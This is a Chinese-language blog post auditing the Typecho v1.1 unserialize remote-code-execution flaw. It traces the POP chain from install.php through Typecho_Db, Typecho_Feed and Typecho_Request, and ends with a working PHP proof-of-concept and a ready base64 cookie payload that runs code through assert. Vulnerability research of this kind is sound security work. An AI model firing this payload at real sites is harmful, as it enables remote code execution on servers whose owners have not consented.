审计Typecho反序列化导致任意代码执行

Typecho是一个PHP开发的博客系统,使用得还是挺多的,本文审计的漏洞是基于v1.1版本的,于2017年曝出的反序列化漏洞。在看完其他很多师傅博客对该漏洞的审计,发现很有学习价值,同时调试理解。

测试程序版本:Typecho v1.1(15.5.12)

pop链

提前已经大概了解整个pop链,所以贴张网图如下:

pop链

下面按照这个流程进行分析。

漏洞分析

Typecho v1.1版本安装完成之后,不会自动删除install.php文件,而这也是漏洞发生的点。

漏洞入口是install.php,先进行了两个前置判断。可以看见调试信息,只要传入GET参数finish,并且还需要Http头部的Referer为站内URL即可,主要在59行与74行体现。

install.php

随后就是产生反序列化漏洞的点,于229行到235行

install.php

230行将__typecho_config的值通过base64解码之后反序列化,__typecho_config/var/Typecho/Cookie.php中传过来的,可通过CookiePost方法传入,此处可控。

/var/Typecho/Cookie.php

回到install.php,看到232行,将$config['adapter']传入Typecho_Db()中,$config就是在230行反序列化传来的对象,因此该参数也是可控的,跟进Typecho_Db()

/var/Typecho/Db.php

/var/Typecho/Db.php文件中,分析其构造方法,114行传入的$adapterName,在120行做字符串拼接,$adapterName其实就是install.php文件中232行传入的$config['adapter'],是可控参数,如果该参数是对象的话,那么就会调用其__toString()方法。

__construct:构造函数会在每次创建新对象时先调用

__toString:当对象被当做字符串的时候会自动调用该函数

寻找可用的__toString()方法,跟进/var/Typecho/Feed.php文件,于223行开始

/var/Typecho/Feed.php

再往下分析,290行调用了$item['author']->screenName,是当前类的一个私有变量。如果$item['author']是一个不存在screenName属性的类的话,就会调用__get魔术方法,而此处的item同样可控

__get:当调用一个未定义的属性时访问此方法

/var/Typecho/Feed.php

找到/var/Typecho/Request.php 第269行可利用的__get方法

/var/Typecho/Request.php

分析该get函数,检测$key是否在$this->_params[$key]这个数组里面,如果有的话将值赋值给$value,紧着又对其他数组变量检测$key是否在里面,如果在数组里面没有检测$key,则将$value赋值成$default,最后判断一下$value类型,将$value传入到_applyFilter()函数里面。$this->_params[$key]是可控的,而$key正是screenName,因此$value可控

/var/Typecho/Request.php

跟进_applyFiter()函数

/var/Typecho/Request.php

163行发现危险函数array_map()call_user_func(),且$filter$value都可控。程序首先遍历类中$_filter变量,如果$value是数组则将调用array_map(),反之则将调用call_user_func()

直接这样构造的Poc传入会返回500,原因是在install.php的开头还有一个点,第54行调用了ob_start()

install.php

ob_start:打开输出控制缓存

程序对反序列化之后的内容进行处理时抛出异常位于/var/Typecho/Db.php第123行

/var/Typecho/Db.php

并在/var/Typecho/Common.php中第237行调用了ob_end_clean()清空了缓冲区

/var/Typecho/Common.php

并在最后在354行输出到模板中,然后exit退出了程序。具体传参执行过程可通过调试看出。解决方法可以提前exit程序,让程序不运行到抛出异常处。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class Typecho_Feed{
private $_type;
private $_items = array();

public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}

class Typecho_Request{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params = array(
"screenName" => "eval('phpinfo();exit;')",
);
$this->_filter = array("assert");
}
}

$a = new Typecho_Feed();

$c = array(
"adapter" => $a,
"prefix" => "test",
);

echo base64_encode(serialize($c));

执行得到

1
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7czo0OiJ0ZXN0IjtzOjQ6ImRhdGEiO3M6ODoiMjAxOTA0MzAiO3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIzOiJldmFsKCdwaHBpbmZvKCk7ZXhpdDsnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NDoidGVzdCI7fQ==

phpinfo()

参考

声明

评论